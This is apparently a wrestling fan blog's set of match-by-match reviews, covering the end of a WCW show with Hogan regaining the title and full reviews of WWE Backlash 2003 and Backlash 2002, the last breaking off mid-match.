Rating: D+. This was just a step above a squash but that’s ok for the most part. Giant would move on to feuding with Nash soon after this in one of the stupidest and most pathetic displays I can remember in a long time. Anyway, the match was short enough to keep from getting boring which is more than I can say for the rest of the show.

Tag Titles: Outsiders vs. Steiner Brothers

So here it is. After seven months of screwjobs, cheating finishes, no matches and everything else, the Outsiders have to face the Steiners for the titles. There is no reason for anything but new champions (the Outsiders are defending) here, so you should know what’s coming already. The Steiners come out on motorcycles, so let’s look at the fireworks instead! Scott and Scott get us going. For the sake of sanity during this match, Scott Hall will only be called Hall and Scott Steiner will only be called Scott.

Hall punches him down but Scott comes back with a butterfly suplex and everything breaks down. The Steiners clear the ring and they do their pose. Off to Rick vs. Nash with the giant trying Snake Eyes, only to get reversed into a suplex to put him down. Off to Scott but Hall’s distraction allows Nash to kick his head off and take over. Nash does the running crotch attack to the ropes and Scott is in trouble.

Off to Hall who hits his fallaway slam for two. Abdominal stretch goes on and the Outsiders cheat of course. Hall knocks Scott off the apron and it’s more dominance by the champions. Back to Nash for some chinlockery. Now for a change of pace, Hall comes in to give us the exact same thing. Scott picks Hall up and drops him down with an electric chair. Nash breaks up the tag again and Scott’s beating continues.

Big boot gets two. Nash does the leg choke in the corner but another big boot (this one with the left leg for some reason) misses. Scott can’t make the tag as Hall comes in with an elbow to the back. Outsider Edge is escaped and Scott hits a belly to belly to put both guys down. Hot tag to Rick and house is cleaned. Here comes the Steiner Bulldog to Hall and Nash pulls the referee out for the DQ. Yes, that’s the real ending.

Rating: D. Screw it. Seriously SCREW THIS COMPANY. There is ZERO reason at all to do this other than for the sake of screwing over the fans and the Steiners and keeping the belts on the Outsiders because they want them. The Steiners would win the titles in a few months (on Nitro of course) and no one cared because THEY SHOULD HAVE WON HERE. There is no reason for the titles to not change here that isn’t a service job for the NWO. Just freaking stupid and a big part of why the company was starting to reach trouble.

WCW World Title: Lex Luger vs. Hulk Hogan

It’s strange seeing the title on Luger for the first time. He never wore that belt back in the day despite chasing Flair for it for about four years. Feeling out process to start with both guys trading power moves. Luger runs him over so Hogan grabs the arm. Now Luger grabs Hogan’s arm. A few arm drags send Hogan to the floor and we take a breather on the floor. Back in the ring Hogan sends him into the corner and takes some control.

A slam and elbow drop get two. Off to a chinlock about six minutes into this. That’s a bit early no? Luger blocks a ram into the buckles and gives Hogan ten for his effort. Out to the floor and Hogan chokes away with a cord. We head back in and Hogan chokes in there instead. Off to a bearhug which evolves into the test of strength, which ends with a low blow to Lex.

Hogan is basically out of offense now so he just smacks Luger around with really basic slaps to various parts of the head. Big boot gets two. Luger no sells a suplex and makes his comeback but Luger takes him right back down. The legdrop misses and Lex fires off his clotheslines. Cue the NWO and despite three of them getting in the ring and a fourth getting on the apron, that isn’t a DQ. Cue Sting (the announcers are sure that it’s the real one, even though he’s black) who hits Luger with the bat and the legdrop gives Hogan the title back.

Rating: F+. Whatever here man. It’s a bad ending to a bad show. Hogan clearly had no business being out there for 16 minutes because he didn’t have anything to use after the end of his five move offense. The title change on Monday meant nothing and the ending here is stupid due to the announcers not noticing the incredible tan that Sting has gotten I guess.

It’s Dennis Rodman of course. The last eight minutes or so are the announcers freaking out and Hogan celebrating. Oh and they spraypaint the belt in the back and initiate Rodman into the NWO.

Overall Rating: F. You know until the end of this, I would have been ok with just saying that this was boring but not all that bad. Then they had the two IDIOT endings like they did which was more of the same. It was clear by this point that the NWO was about to cripple the company. Based on this it’s no surprise that the WWF would be starting to draw closer.

It wouldn’t happen for about 8 months, but once the WWF took over again, they wouldn’t let go (mostly) because WCW was that stupid. This is a great example of it, although the tag match is much worse than the main event from a booking perspective. The main event’s booking makes sense due to Sting in December, but the wrestling was just awful. Terrible show.

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Backlash 2003: This Was Embarrassing

Backlash 2003
Date: April 27, 2003
Location: Worcester, Coliseum, Worcester, Massachusetts
Attendance: 10,000
Commentators: Jonathan Coachman, Michael Cole, Jerry Lawler, Tazz

Rock vs. Goldberg. That’s really all there is to say about this show. Well not really because I’ll write five or six pages about it but you get what I mean. Goldberg debuted the night after Wrestlemania and I think this is the first big match he’s had. It’s also Rock’s last match for about eleven months as he would go full Hollywood, come back for Mania, and then be gone for seven years. Let’s get to it.

The opening video is exactly what you would expect: highlight packages of Rock and Goldberg who collide tonight.

Smackdown Tag Titles: Team Angle vs. Los Guerreros

The Smackdown Tag Titles were established in the fall and had been a big highlight of the company ever since. They let the wrestlers go out and have great matches, and when you had guys like these four, Angle/Benoit and Edge/Mysterio, you could mix and match anyone and get an entertaining match. Team Angle (who are defending here) brings out a portrait of Angle who is too hurt to be here. This is Los Guerreros’ rematch after the champs won the titles in February.

Eddie and Charlie get us going. They take it to the mat quickly and it’s a stalemate. Eddie gets three straight two counts and a nice bit of applause from the fans. After some showboating it’s off to Chavo vs. Benjamin. Los Guerreros take over on the arm of Shelton and use better teamwork. Shelton gets in a slam and clothesline on Chavo but Eddie gets in a shot to the back and Los Guerreros take over again.

Chavo chokes him with the tag rope and Eddie gets in some shots on the floor. Slingshot hilo gets two. Off to Haas who gets Eddie into the corner and Shelton uses the rope to choke away as well. Nice little bit of storytelling there. Eddie gets caught in the double team move where Shelton jumps over Charlie and lands on Eddie’s back for two. A pair of suplexes get two for Charlie.

Benjamin comes in with a chinlock and uses a leg lace to keep Eddie in the ring. Shelton comes back in with a kind of powerslam for two. Off to a chinlock as Cole sets up Tazz to explain how Shelton is making this hold more effective. See? Why can’t he do that with Booker and Lawler? Charlie bends Eddie’s back over his knee but Eddie comes out of it with a headscissors in a cool counter.

Hot tag to Chavo and he cleans house. Suplex gets two on Charlie. Shelton powerbombs the tar out of Chavo and everything breaks down. Three Amigos to Charlie but Eddie has to be sent out. Chavo gets a delayed two on Haas so Eddie Frog Splashes him so Chavo can get another two. He tries a suplex to Charlie but Shelton hooks the foot and it’s the Wrestlemania 5 ending as the champions retain.

Rating: B-. Bad ending to a good match here. Like I said, there’s no real need for a story here because you can give four talented guys fifteen minutes and you’re going to get a good match. Tag matches and cruiserweight matches to open a show are great choices. Tag matches with cruiserweight style guys are even better choices. Good stuff here but the ending wasn’t great.

Chavo dives onto the champs and Los Guerreros steal the belts. They head to the back and leave in a green car. The horn plays La Cucaracha and the car bounces away.

Torrie tells Test to leave her alone. He calls her baby and says they don’t have to tell Stacy about anything. Stacy is Test’s girlfriend but he’s not getting any until he wins more if I remember this properly. Test won’t let her leave and kisses her, making Torrie leave distraught. Sable sees what happened and smiles.

Here’s a very fat gut attached to Roddy Piper. He’s got a basket of coconuts with him. After saying he has a lovely bunch of coconuts, he introduces Sean O’Haire.

Sean O’Haire vs. Rikishi

O’Haire was a guy with A TON of potential and an awesome looking gimmick that was similar to a devil’s advocate who said that everyone knew they did wrong things, but what’s so bad about that? Look up the promos as they’re really cool. Then he was put into a feud about Piper vs. Hogan and became Piper’s lackey and had his push ruined. This match is happening because of Piper hitting Snuka with a coconut almost 20 years ago.

Rikishi controls to start but Piper offers a distraction to shift momentum. O’Haire hooks on a chinlock as this match stops very quickly. Piper plays to the crowd and gets them to boo him, because keeping the focus on the guys in the ring isn’t a good idea right? O’Haire misses a spin kick and Rikishi splashes him in the corner. Sean escapes the Stink Face and Piper gets in the ring. He brings in the coconut but both guys hit kicks at the same time. Piper gets in again but Rikishi cracks the coconut over his head. O’Haire picks Rikishi up and hits the reverse Death Valley Driver for the pin.

Rating: D-. Piper sucked the life out of O’Haire at this point because no one was interested in Piper vs. Rikishi, which is what this was really about. Piper would be gone a few months later and O’Haire’s push would die. The Devil’s Advocate character was never mentioned again and we lost a ton of great potential. But hey, Piper got some TV time out of it right?

Sable comes up to Stacy at catering and suggests that Torrie hit on Test. This was part of some weird lesbian crush that Sable had on Torrie.

RVD and Kane get fired up. RVD is nervous because Morley is guest referee. Kane says let’s go win.

Raw Tag Titles: Dudley Boyz vs. Kane/Rob Van Dam

RVD and Kane are champions. Morley is the guest referee and the corrupt Chief of Staff for Bischoff. The Dudleyz are heel against their will here but it’s the only way they can get a title shot. They’ve also been fighting a bit. Bubba and RVD start us off and it’s power vs. speed. RVD kicks the legs out from under him but Bubba pounds him down with ease. Van Dam tries to flip out of the corner but Bubba takes his head off with a clothesline.

Off to D-Von and Kane with the masked man taking over. Big boot gets two as Morley has been fine so far. Bubba comes back in and gets clotheslined down very quickly. The fans want tables as Bubba manages to knock Kane down. The count seems a little faster there. Spinebuster by Kane gets two and a pretty fast count as well. Van Dam comes back in for some flipping offense, including a moonsault for two.

The rolling monkey flip is countered and Bubba hits a sidewalk slam for one. Kane gets knocked down and What’s Up RVD? D-Von comes back in and gets two as Van Dam is in trouble. Off to a chinlock to fill in some time. Bubba comes back in but gets caught by a spin kick from Van Dam and it’s a double tag to bring in D-Von and Kane. The Dudleys are both in the ring at the same time and Morley is fine with it. Back to RVD who hits Rolling Thunder on Bubba.

The monkey flip is broken up but Kane hits the top rope clothesline to take D-Von down. Morley hits Kane low to break up the chokeslam but it only gets two. Morley clotheslines Bubba by mistake and D-Von beats the tar out of him. Here’s Lance Storm to take out D-Von but he takes a Bubba Bomb. There’s a 3D to Morley and a chokeslam to Bubba. Five Star Frog Splash gets the pin by another referee.

Rating: D+. The match wasn’t that terrible but MAN was it overbooked. I completely lost track of what was going on in the middle of the match with who was on what side. Did anyone really care about Morley in 2003? I don’t think anyone did in 2001 so I’m thinking the answer to that is no here. The match was ok but it was a total mess by the end which brings it down.

Stacy goes into the women’s locker room and a fight starts.

Women’s Title: Jazz vs. Trish Stratus

Trish is champion and Jazz has Teddy Long with her. The Dudleys beat up Trish on Raw recently so she’s coming in injured. To those of you paying attention, IT’S THE SAME THING AS LAST YEAR. Jazz goes after the bad ribs but gets rolled up for a quick two. Clothesline gets two for the champ but Jazz goes back to the ribs. A release Glam Slam puts Trish down but she comes back with a tilt-a-whirl slam for two.

Backslide gets a delayed two because Teddy has the referee. Jazz gets in a shot to the back and it’s off to a Boston Crab. Trish rolls out of it with leg strength and hooks the same move on Jazz and then into an STF, which is the same finishing sequence from last year. Teddy shoves the rope to Jazz though and we keep going. Chick Kick gets two. Stratusfaction hits but Teddy throws in his shoe to break it up. Somehow that’s not a DQ and Jazz rolls her up with the ropes for the pin.

Rating: D. Someone tell me the appeal of Jazz. This is the second year in a row they’ve put her over Trish for the title and I still don’t see the appeal of her. You have Molly and some other chicks on the roster that can be evil and you pick Jazz? Why? So you can have her speak ebonics and be loud? You have Jackie for that. Boring match with an annoying outcome.

Booker and Shawn fire each other up. Nash is ready too. Yeah the Raw main event is a six man that no one wants to see.

Rey Mysterio vs. Big Show

Apparently Mysterio embarrassed Show recently. A fan things Big Show loves Cher. Is that an insult? Rey gets Show to chase him which frustrates the giant. Things go exactly as you would expect: Rey fires off some offense, Show uses power, Rey speeds things up again. Backbreaker puts Rey down and Show takes over. Rey gets sent to the floor and gets in a chair shot and seated senton for two. A pair of 619s take Show down and a third staggers Show but he jumps into the chokeslam for the pin.

Rating: D. I can’t stand these matches. The one perk here is that Show didn’t look like an idiot for the most part. At the end of the day, without making the giants look stupid in these matches, there’s no real conceivable way to have a competent giant lose these matches. Rey’s offense would have no effect here and for the most part it didn’t. The ending helped it but the rest of it was junk.

Post match Rey is put on a backboard and Show picks it up and slams the board into the post.

Flair, HHH and Jericho (the other team in the six man) say that they’re ready and not worried about Nash. Yeah, not only did HHH vs. Nash get two PPV singles matches, it gets a six man as well. That’s ignoring their European PPV main event too.

Stacy and Torrie are still fighting. Were they fighting all through that match? Scott Steiner comes in to take care of Stacy again, which would lead to them hooking up and then a feud with Test, resulting in a Steiner heel turn and Stacy being made a sex slave. Test comes in to yell and Steiner leaves. Some savior.

We recap Cena vs. Lesnar. Cena was a plucky young guy that Lesnar hurt so then Cena came back as a rapper and won a pretty star studded tournament to get his shot here. Check out these brackets.

Chris Benoit
Albert

Big Show
Rhyno

Undertaker
Rey Mysterio

Eddie Guerrero
John Cena

Cena beat Eddie, Undertaker (with interference) and Benoit. That’s not bad for a guy less than a year into his run with the company. Then again Lesnar main evented Mania in his first year so that trumps Cena I think.

Smackdown World Title: John Cena vs. Brock Lesnar

This would be a very different match today. I mean imagine: CENA ON SMACKDOWN? That’s hilarious. Cena comes out in a Yankees jersey and raps about being better than Sammartino. He’s iron like the Sheik and has us in his camel clutches. Cena jumps him from behind and we’re ready to go. This is Lesnar’s first defense since Mania. Lesnar grabs him into a backbreaker and hits two of them followed by a fallaway slam.

Brock hooks a front facelock on the mat and the fans think this is boring. That’s so weird to hear in a Cena match. A kind of fisherman’s suplex puts Cena down. Lesnar hits a gorilla press and we head outside. Cena goes into the announce table as this has been ALL Brock for the first few minutes. Back in Cena avoids a clothesline and heads right back to the floor. John manages to reverse a whip into the steps and gets a breather.

Brock is bleeding from a bandaged cut he had coming in. Belly to back gets two for the challenger. Cena knocks him to the floor and rams Brock’s head into the post again. That gets two so it’s chinlock time. Brock has a cut that looks like the kind Hogan used to get: it’s all jagged. The hold doesn’t last long as Lesnar charges into a big old spinebuster which puts both guys down.

Cena comes back with a clothesline for two. Now the Dr. is getting frustrated so he puts on a rear naked choke of sorts. Cena’s eyes look crazy here. Brock gets up and rams Cena’s back into the corner three times to break the hold. That would be opposite corners which makes it even more impressive. Brock gets all fired up and hits a bunch of clotheslines and a spinebuster for two. Powerslam gets the same. Brock almost gets rammed into the referee but he puts on the brakes. Low blow gets two for Cena and the Throwback gets two. Cena picks up the chain but as it’s taken away he walks into the F5 for the pin.

Rating: B-. Not bad here but man is it weird to see Cena as such an underdog. This wasn’t really a match with a chance of having a new champion, but rather giving Brock a good first match as champion. Cena was obviously going to get better but for a first time out there, this was fine. Why they don’t do this more often today is beyond me. Why not throw out something like Kofi for a title match if you have a bigger main event such as Rock vs. Goldberg.

We recap the six man. Nash wants HHH, Booker wants HHH, Shawn wants HHH, Jericho and Flair are there to give some backup. Jericho and Shawn were just getting past their Mania match too.

Ric Flair/HHH/CHris Jericho vs. Shawn Michaels/Booker T/Kevin Nash

Booker gets an ok reaction, Shawn gets a good reaction, Nash gets NOTHING. Nash and HHH start but Jericho tags in during the staredown. Off to Shawn as well before any contact was made. Shawn punches him a few times and hooks a sunset flip for two. They trade pinfall attempts, getting about 14 in total. Off to Nash who sends Jericho to the floor and hits both Evolution members.

Back in Nash hits the big boot and with 1/5 of his offense gone, he brings in Booker. Spinebuster gets two on Jericho. Flapjack gets the same. Jericho gets him into the corner and it’s off to The Game. Flair comes in and misses a knee drop, letting Booker tag in Shawn. Forearm and nipup set up the superkick but after it connects, Shawn walks into a Pedigree. Flair makes the tag and it’s off to Jericho who picks the bones of Shawn.

A few elbow drops get two for the Canadian so it’s off to HHH again. High knee gets two for the Game. Flair comes in but the Figure Four is countered into a small package for one. Jericho back in and he throws on a quick hold which gets him nowhere so it’s HHH time again. That goes nowhere so it’s back to Flair for some knee attacks. Shawn gets a clothesline for a pair of twos but he can’t follow up.

Double tag brings in HHH and Nash and things slow down again. You can literally see the crowd sitting still during his house cleaning segment. Shawn had been in trouble for awhile just like the formula would suggest, but the people just don’t care at all. Everything breaks down and it’s Booker vs. Flair on the floor. Pedigree is broken up as is a Jackknife (a few people reacted at least) and everything breaks down even more.

There’s a Spinarooni and the fans pop to their feet. Shawn slams Flair off the top but Jericho breaks up the kick. Figure Four goes on and Jericho adds the Lionsault. Nash comes in for the save and the second Jackknife attempt gets even less of a reaction. There go Flair and the referee and the Jackknife kills Jericho to a moderate reaction. Not that it matters as HHH hits Nash with the hammer for the pin.

Rating: C. The match was ok but Nash’s reactions were downright embarrassing. No one cared about Nash and there’s no other way of looking at it. The pop for his entrance got nothing, his hot tag got nothing, his finisher got nothing. Also, why in the world would you have HHH pin him here? Why in the world would I want to see Nash vs. HHH now if HHH just pinned him? You have Nash pin HHH here to set up the PPV match that you just have to have. Ok match, stupid booking.

We don’t know much about Mysterio now other than he’s hurt.

We recap Rock vs. Goldberg. Rock beat Austin at Mania and had his appreciation night until Goldberg debuted and speared him to death. They had Goldberg talk too, which defeats the purpose of him.

Rock says he’s done it all and that when he got speared, it hurt but he’s here. Rock is a heel here but he’s so energetic that no one will boo him. Goldberg is next.

The Rock vs. Goldberg

Goldberg’s music is changed. You know, because Goldberg wasn’t over with what he had. We also get the full on Hollywood Rock entrance which is still awesome. Goldberg’s music is MUCH softer and it doesn’t work at all. Lawler keeps talking about how Goldberg was a big fish in a small pond and makes sure to make people remember that WCW was NOTHING. The fans chant Goldberg as we’re in full stall mode.

We’re going very slowly with Goldberg knocking Rock out to the floor. Rock stalls on the floor but guillotines him on the rope and hits a clothesline for a pop. Goldberg hits a Rock Bottom and sets up for the spear but Goldberg crashes into the buckle which Lawler says “may be the greatest thing he’s ever seen.” Now it’s Sharpshooter time which is broken eventually. For some reason the referee looks away and Rock hits Goldie low.

Rock sets for the Rock Bottom but Goldberg hits a weak spear. Time for more laying around as this match is WAY too boring. Rock tries some clotheslines but Goldberg won’t go down. A spear from Rock puts Goldberg down and King is losing it. Rock Bottom gets two. The Great One punches him so Goldberg clotheslines him down. Another spinebuster sets up the Elbow but it only gets two and the fans are mad. Spear hits, Rock swears, spear again, Jackhammer and we’re done thank goodness.

Rating: F. ARE YOU FREAKING KIDDING ME? This was GOLDBERG VS. THE ROCK! Goldberg literally did nothing but punches, clotheslines, spears and the Jackhammer. Not close to it, not an expression, literally that’s it. This match was absolutely awful with them spending at least four minutes (out of 13) laying around. It’s one of the worst debuts I can remember in years and it was completely unacceptable.

Overall Rating: D-. I was thinking this was an ok at best PPV until the main event. Then the bottom fell out of that idea. This was AWFUL with a terrible main event. Nash’s reactions are some of the most embarrassing I’ve ever seen but he would be in the next THREE Raw PPV main events for the title until Goldberg took over. You know, the guy who got a lukewarm reaction at best. There’s a reason people call 2003 the worst year in company history. IT WAS TERRIBLE.

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Backlash 2002: The Definition Of Bleh, Meh, Eh, And All Other Uninterested Non-Words You Can Think Of

Backlash 2002
Date: April 21, 2002
Location: Kemper Arena, Kansas City, Missouri
Attendance: 12,489
Commentators: Jim Ross, Jerry Lawler

This is the show after Wrestlemania 18 and the main event is Hogan vs. HHH for the title. Other than that we have Austin vs. Undertaker which I’m not sure what to expect from. The show doesn’t look great on paper but after doing Backlash 2000, almost anything is going to come off as inferior. I’ve been surprised before though. Let’s get to it.

We open with Hogan talking about how at Wrestlemania, The Rock became a Hulkamaniac. HHH talks about wanting to destroy part of his childhood. It’s about being the greatest ever or something like that.

Cruiserweight Title: Tajiri vs. Billy Kidman

Tajiri is evil and making Torrie wear a Geisha girl robe. He’s also challenging here. This is just after the Brand Extension and the first time the whole roster has been together in a few weeks. Feeling out process to start and Tajiri misses a big kick. They go to the corner and exchange strikes. Tajiri hooks a slingshot to send Kidman onto the middle rope but he comes off with a spinning missile dropkick for two. Out to the floor and Tajiri drapes him over the barricade to take over.

Tajiri chokes him in the ropes back inside and hits a BIG kick to the head. Off to a chinlock which is pretty quickly broken up. Kidman gets put in the Tree of Woe and Tajiri hits a baseball slide dropkick to the face. That always looks great. Now Tajiri works on his back and tries the Tarantula but Kidman breaks it up. Tajiri is sent to the apron and jumps up into a sunset flip position but spins around into the Tarantula in a slick counter.

Buzzsaw kick misses and Kidman counters the powerbomb attempt into a facejam as is his custom. They exchange rollup attempts but Tajiri kicks his head off for two. Another powerbomb is countered the same way and it’s Shooting Star time. It eats canvas though and the Buzzsaw kick gets two. The fans start a Kidman chant as the guys go to the corner. Kidman hits a sitout spinebuster off the middle rope for a VERY close two. Kidman tries a powerbomb of his own but Tajiri sprays red mist in his eyes for the pin.

Rating: B-. Good opener here with both guys hitting some big stuff in there. Tajiri is probably my favorite Japanese guy and he didn’t disappoint here. That spinning Tarantula and the Buzzsaw kick were great. The spinebuster was awesome too and it made for a great opener. Gee, two talented guys having a few minutes make for a good match. Shocking no?

Tajiri rants in Japanese.

We get an APA reunion in the back as they’ve been split by the Draft. Bradshaw’s match is next.

Scott Hall vs. Bradshaw

Yes, knowing that Hall is likely going to erupt soon, they put him against BRADSHAW. X-Pac gets in the ring also so Farrooq comes out to offer backup. There’s the toothpick throw to start and Bradshaw puts him down quickly. DDT gets two and it’s time to tell X-Pac he sucks. Hall goes to the floor and backs into Farrooq who blasts him in the face. The NWO broke up the APA’s office so there’s an actual story to this.

Bradshaw stays in control with some elbow drops for two. Hall comes back with almost the only move he can do in 2012: punches. He mixes it up with a spin punch so maybe that counts as a second move. Hall stomps him down in the corner but Bradshaw punches back from the mat. JR calls it a bowling shoe match as Bradshaw kicks him in the face. The big Clothesline gets two as Pac makes the save. Farrooq chases him off and Bradshaw punches X-Pac off the apron. The distraction lets Hall hit Bradshaw low (kind of. It was more like he put his arm between Bradshaw’s legs and left it there. There wasn’t any force.) for the pin.

Rating: F. There’s no real other way to put it: this was a very bad match with no real redeeming value. Hall going over doesn’t help anyone, Bradshaw wouldn’t do anything for two years, the ending was bad, there was very little action, and the fans didn’t care. With no redeeming value, how can you call it anything but a failure? Terribly uninteresting match.

Vince goes to see Flair and says that Flair is starting to feel the heat as an owner. Tonight Flair is guest referee for Austin vs. Undertaker which is a #1 contenders match. Flair yells at Vince a lot and says he’ll never be like Vince McMahon. There are so many ways you can take that and most of the time it’s true.

Women’s Title: Trish Stratus vs. Jazz

Jazz is champion. Trish is stating to get good at this point. She also has her signature look down now. Molly Holly (with some very good looking reddish brown hair) comes out to protest Trish getting the shot. Molly lost a #1 contenders match to Trish due to some minor tights pulling, even though Molly did it first. She says that the fans want their Women’s Champion to be pure. Molly pops Trish with the mic and throws her to the floor. Trish fires back with forearms but gets sent into the steps.

Jazz comes out as Molly is sent to the back but Trish comes in damages. Side slam gets two. Trish can’t get anything going and Jazz hits a Regal Roll for no cover. Trish hits a clothesline and a bad Chick Kick for two. Stratusphere puts Jazz down and a neckbreaker gets two. Jazz comes back with a Batista Bomb for two. Belly to back gets the same for the champ. Trish goes to the corner but gets pulled out by a dragon screw leg whip. That gets transitioned into a Boston Crab and an STF for the tap out.

Rating: D+. Nothing much worth seeing here and I’m not quite sure why they went with Jazz as champion for so long. They would give Trish the title soon enough but for some reason they didn’t give it to her in Toronto at Mania. Not a terrible match here but no one cared about Jazz at all.

Jazz has nothing to say post match.

We recap Jeff Hardy vs. Brock Lesnar. Heyman was in Lita’s locker room on Monday and had one of her thongs. He implied if she slept with him, Brock wouldn’t kill Matt. Later in the night Heyman had her whole bag of thongs (why does she needs that?) and when Matt charges at Heyman, Lesnar killed him with an F5 on the stage.

Heyman fires up Lesnar in the back.

Jeff Hardy vs. Brock Lesnar

Lesnar is still using generic ominous music here. Hardy goes right at him and is easily thrown to the floor. Hardy tries to speed it up but dives into Lesnar’s arms. He manages to ram Brock into the post and hits a top rope cross body back in for two. Brock shrugs that off and rams Hardy into the corner with the shoulders.

The destruction begins as Brock throws him around and Heyman yells that it’s Lita’s fault. Jeff gets in some punches but he can’t do much with them. A Whisper in the Wind out of nowhere puts Lesnar down as does the jawbreaker. Swanton gets two so it’s chair time. Brock picks him up with ease and hits the F5. Three powerbombs and it’s called off.

Rating: C+. This was exactly what it was supposed to be: a way to make Lesnar look completely awesome and dominant. Those powerbombs were awesome and Jeff’s masterful selling helped them all that much more. Throw in Lita looking especially great and this worked quite well.

We recap Angle vs. Edge. Angle said he beat Olympians from Russia and Iran who were a lot tougher than Nikolai Volkoff and the Iron Sheik. He made an open challenge and lost to Edge in the biggest win of Edge’s career. This was the feud that transitioned Edge from comedy singles guy to legit midcard guy. There were some offbeat shenanigans with Angle holding up pictures with funny phrases on the backs of them, resulting in the match tonight. If I remember right it also introduced Angle’s YOU SUCK chant.

Edge vs. Kurt Angle

Angle takes him down quickly but Edge speeds things up and takes over. He hits a flapjack and knocks Angle to the floor where Kurt takes a break. Back in the American hits a German on the Canadian to take over. They trade chops in the corner but Edge walks into a belly to belly overhead for two. Edge tries to come back but gets caught in another suplex for two.

Angle hooks a chinlock and tries the Rolling Germans but Edge escapes. There’s a suplex to Kurt and both guys are down. Angle gets back up first but gets sent into the corner and walks into the Edgecution for two. Edge goes up but Angle walks the corner (that was a newer move back then) and suplexes Edge down for two. Ankle Lock is quickly broken up so Kurt hits some more Rolling Germans for two.

Edge hits an overhead German of his own to send Angle to the floor, where Edge kills both himself and Angle with a dive. Back inside a missile dropkick gets a VERY close two. Edgecution and Edge-O-Matic are countered into the Angle Slam for two. There’s the ankle lock but Edge rolls through it before hitting a clothesline. Angle is frustrated so he goes to get a chair. It hits the top rope though and Edge hits the Edge-O-Matic for two. The fans are WAY into these kickouts. Angle kicks him in the face on the spear attempt and the Slam gets the pin.

Rating: B+. VERY fun match here which was way out of Edge’s league at this point. This is the feud that made Edge into a solid guy and also made Angle bald. Good stuff here as the fans were as into those kickouts as I can remember any crowd being in awhile. This was very entertaining and it would only get better between these two.

Tazz is at WWF New York and the fans are split on the main event.

Here’s Jericho who complains about not being on the show after being in the main event of Wrestlemania a month ago. So he rants for awhile and says he’s better than everyone, including Hogan. He says Hogan isn’t worthy of being a champion and that it should be his title shot. Jericho says he’s leaving Kansas City RIGHT NOW. I’m sure you all know what that means.

Flair says he’ll call the match fair tonight when Undertaker comes in. Nothing is said but I think Taker is mad about Flair taking the last bowl of Jello.

Intercontinental Title: Eddie Guerrero vs. Rob Van Dam

Eddie is recently back from almost a year off due to drug and alcohol issues. So they pick RVD to put him out there with? Isn’t that a form of enabling? Eddie punches him during the finger pointing and we’re off fast. Van Dam kicks his head off and hits the big monkey flip. Heel trip gets two. Eddie hits a good dragon screw leg whip and pounds on Rob in the corner.

Van Dam comes back with some kicks and a floatover suplex for two. Rob goes up and gets crotched but manages to guillotine Eddie on the top rope, followed by a top rope kick. The cartwheel into the moonsault gets two. They trade rollups and head to the floor with Van Dam hitting a moonsault off the apron. The spinning leg to the back of Eddie puts Guerrero down and they head back inside where the champion gets two. Rolling Thunder gets knees and Eddie takes over again.

Tilt-a-whirl puts Van Dam down and a belly to back suplex gets two. Surfboard with the neck crank goes on but Eddie lets it go. Now it’s a Gory Stretch but Van Dam counters into a sunset flip for two. Eddie climbs the ropes into a perfect rana for two. He suplexes RVD and calls for the Frog Splash but Rob pops up to kick the knees out. Eddie this a WICKED sunset bomb out of the corner for two. Van Dam kicks him to the floor and Eddie grabs the belt. After a quick ref bump, Eddie hits a neckbreaker onto the title. Frog Splash gives us a new champion.

Rating: B-. Another good match here as again, the idea of talented people getting time makes for a good match. Eddie getting a title back after being here a month after a long time away due to personal issues is a stretch, but he would do pretty well in this role. Good match here and the ending worked pretty well.

We recap Austin vs. Undertaker. Both guys had to qualify for this by beating Hall and Van Dam respectively. Austin had Stunned Flair because that’s what he does and Undertaker had feuded with Flair before this match. There’s your wild card.

Steve Austin vs. Undertaker

Winner gets the title match next month and Flair is guest referee, wearing some red boots under his referee gear. Even Lawler says it looks bad. Flair is Raw owner here if that clears anything up. Undertaker hits a shoulder block to put Austin on the floor. Back in and a shoulder doesn’t work on Taker at all. Taker is coming off like a face here, which he certainly isn’t. Austin responds by checking his watch and doing push-ups. Ok then.

Austin finally goes off with a forearm to the head and there’s a middle finger for Taker. He offers a test of strength and flips Taker off again. Austin goes technical with an armdrag and a drop toehold. He works on Taker’s arm for a bit and avoids a right hand. Austin chops away in the corner but Taker clotheslines him down for two. Old School gets two but Austin hits the Thesz Press and the Screw You Elbow for two of his own.

Out to the floor and Austin rams him into the table. Taker shrugs that off and sends Austin into the table. Austin fires off right hands and knocks him into the crowd but only the front row. Back to ringside and Austin’s piledriver attempt is countered and the fight continues. Here’s the NWO because who could get along without them? The fans are all over Pac already as Austin is sent into the steps.

They finally get back in the ring but not before Taker drops a leg on Austin’s back while on the apron. Taker goes after the knee and drops some elbows on it. Off to a leg lock but Austin grabs the rope. Taker gouges at the head of Austin as this is getting way more time than I expected it to. Well not really as I knew how long it would get but you know what I meant. Austin fires off some punches but gets drilled down again for two. The NWO is still in the aisle and Pac has Kane’s mask on which looks very stupid.

Taker hits his high clothesline for two and it’s time for some choking. Austin comes back with a lot of punches and stomps in the corner but runs into an elbow in the corner. Tombstone is countered and Austin shoves Undertaker into Flair by mistake. Stunner puts taker down but there’s no referee. You know, because Undertaker running into Flair would knock him out like any other referee.

With Flair down, Taker hits Austin low and loads up the chokeslam which only gets two. Flair counts very slowly. Taker brings in a chair but Flair takes it away, allowing Austin to hit a low blow. That doesn’t really get sold at all as Undertaker hits a big boot for two. Spinebuster gets two for Austin. Stunner is countered and Austin is rammed into Flair again. Taker hits a chair shot but the count is slow so it’s only two.

Austin puts on a Dragon Sleeper of all things but it’s quickly broken up. It’s Mudhole Stomping time and Austin picks up the chair. Taker kicks it into his face and gets the pin, despite Austin having his foot on the rope. The story would become that Flair didn’t see it, which would be good, IF HE HADN’T CLEARLY LOOKED OVER HIS SHOULDER TO MAKE SURE THE FOOT WAS ON THE ROPE BEFORE HE COUNTED.

Rating: C. This wasn’t too bad and at twenty seven minutes, that’s pretty impressive for these two that had a lot of bad chemistry. This would turn into Flair vs. Austin which would be so stupid that Austin would leave for eight months. This was more long than good, but sometimes that’s enough to get by.

Austin Stuns Taker post match. Why was the NWO out there? They never did a single thing.

Coach tells Flair about the foot on the ropes and we get a clip of it. Flair is upset and walks away.

Tag Titles: Billy/Chuck vs. Maven/Al Snow

Snow and Maven clear the ring to start and Snow puts on a headband. Maven and Chuck officially get us going but it’s off to Billy very fast. Billy and Chuck are champions in case you’re really new at this. Maven comes back with a DDT but can’t make the tag. Snow is like screw it and runs in to beat on Billy. Off to Snow who cleans a house which wasn’t that dirty in the first place.

